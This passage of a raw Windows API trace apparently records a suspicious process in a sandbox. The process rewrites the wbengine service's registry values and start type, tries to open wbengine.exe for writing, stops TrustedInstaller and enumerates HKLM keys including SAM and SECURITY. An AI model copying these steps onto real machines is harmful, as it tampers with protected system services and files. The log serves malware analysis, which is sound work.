RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d588 [0259.045] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0259.045] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.045] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d558 [0259.045] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0259.045] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.045] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0259.045] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.045] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d428 [0259.045] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0259.045] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.045] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d308 [0259.045] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0259.045] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0259.045] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0259.045] RegSetValueExA (in: hKey=0x148, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0259.046] RegSetValueExA (in: hKey=0x148, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0259.046] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0259.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d308 [0259.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0259.046] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d428 [0259.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0259.046] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0259.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0259.046] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d558 [0259.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0259.046] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0259.046] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4c8 [0259.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0259.046] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d468 [0259.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0259.046] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d388 [0259.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0259.047] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0259.047] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d438 [0259.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0259.047] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0259.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0259.047] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0259.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0259.047] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f50 [0259.047] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d258 [0259.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0259.047] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d458 [0259.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4778 [0259.047] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0259.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0259.047] RegSetValueExA (in: hKey=0x148, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\wbengine.exe", cbData=0x21 | out: lpData="C:\\Windows\\system32\\wbengine.exe") returned 0x0 [0259.048] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\system32\\wbengine.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f2c48*="C:\\Windows\\system32\\wbengine.exe" [0259.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0259.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d458 [0259.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0259.048] LocalFree (hMem=0x7f2c48) returned 0x0 [0259.048] RegSetValueExA (in: hKey=0x148, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\wbengine.exe", cbData=0x21 | out: lpData="C:\\Windows\\system32\\wbengine.exe") returned 0x0 [0259.048] OpenServiceW (hSCManager=0x803918, lpServiceName="wbengine", dwDesiredAccess=0x2) returned 0x803990 [0259.048] ChangeServiceConfigW (in: hService=0x803990, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0259.049] CloseServiceHandle (hSCObject=0x803990) returned 1 [0259.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d398) returned 1 [0259.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0259.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0259.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d508) returned 1 [0259.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0259.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.050] RegCloseKey (hKey=0x148) returned 0x0 [0259.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0259.050] RegCloseKey (hKey=0x14c) returned 0x0 [0259.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0259.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0259.050] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wbengine.exe" (normalized: "c:\\windows\\system32\\wbengine.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb688d32a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb688d32a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa450000, ftLastWriteTime.dwHighDateTime=0x1cb890f, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0259.050] CreateFileW (lpFileName="C:\\Windows\\system32\\wbengine.exe" (normalized: "c:\\windows\\system32\\wbengine.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0259.051] GetLastError () returned 0x20 [0259.051] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0259.051] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0259.051] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0259.051] OpenServiceW (hSCManager=0x803918, lpServiceName="TrustedInstaller", dwDesiredAccess=0x20) returned 0x8038a0 [0259.053] ControlService (in: hService=0x8038a0, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0259.053] GetLastError () returned 0x426 [0259.053] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0259.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0259.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0259.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0259.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0259.054] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0259.054] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0259.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0259.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1a00, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0259.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.054] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0259.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0259.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.054] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0259.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0259.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0259.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.055] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0259.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0259.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.055] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0259.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0259.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.055] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0259.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0259.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.056] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0259.056] RegCloseKey (hKey=0x80000002) returned 0x0 [0259.056] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0259.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0259.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1a00, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0259.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.056] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0259.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0259.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1ad8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0259.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.056] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0259.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0259.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1a00, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0259.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, 